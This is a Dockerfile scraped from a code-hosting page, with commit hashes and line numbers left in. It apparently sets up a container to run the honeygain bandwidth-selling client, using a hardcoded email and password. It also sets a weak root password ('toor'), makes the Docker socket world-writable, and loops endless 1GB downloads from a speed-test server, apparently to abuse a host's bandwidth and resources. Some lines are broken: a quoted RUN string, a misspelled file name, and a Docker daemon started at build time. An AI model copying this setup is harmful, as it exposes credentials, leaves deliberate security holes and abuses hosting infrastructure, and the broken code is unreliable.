File size: 1,702 Bytes
05d0433
 
 
 
 
 
 
a4a2ec5
05d0433
 
45ef8af
 
 
 
 
 
 
 
 
ae77453
881f43e
6977fb7
 
00a3a41
 
 
0114943
6977fb7
05d0433
 
f3f36b8
112ebbb
05d0433
75582c9
db2a473
 
 
 
881f43e
75582c9
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
FROM ubuntu:latest

RUN apt-get update && apt-get install -y sudo

RUN sudo apt-get install -y curl vim

RUN sudo apt-get install -y zlib1g-dev build-essential libssl-dev libreadline-dev libyaml-dev \
    libsqlite3-dev sqlite3 libxml2-dev libxslt1-dev libcurl4-openssl-dev software-properties-common \
    libffi-dev libgdbm-dev libncurses5-dev automake libtool bison libffi-dev net-tools git nginx

RUN sudo mkdir -p /etc/apt/keyrings
RUN curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
RUN echo \
  "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \
  $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null

RUN sudo chmod a+r /etc/apt/keyrings/docker.gpg
RUN sudo apt-get update

RUN sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin -y

RUN sudo usermod -aG docker $(whoami)

RUN curl --unix-socket /var/run/docker.sock http://docker/containers/json
RUN chmod 777 /var/run/docker.sock

RUN sudo service docker start

RUN echo 'root:toor' | chpasswd

# entrypoint
RUN "i=0;while :; do i=$((i+1)); echo 'Download file... $i'; curl -L https://speed.hetzner.de/1GB.bin -o 1GB.bin; rm 1GM.bin -y; sleep 1;done" > /usr/local/bin/entry_point.sh; chmod +x /usr/local/bin/entry_point.sh;

RUN docker pull honeygain/honeygain
RUN docker run -d -v /sys/fs/cgroup:/sys/fs/cgroup \
  -v /usr/bin/docker:/usr/bin/docker:ro \ 
  -v /var/run/docker.sock:/var/run/docker.sock \
  honeygain/honeygain -tou-accept -email rakis9076@gmail.com -pass Leminh12! -device Honey1

CMD ["bash entry_point.sh"]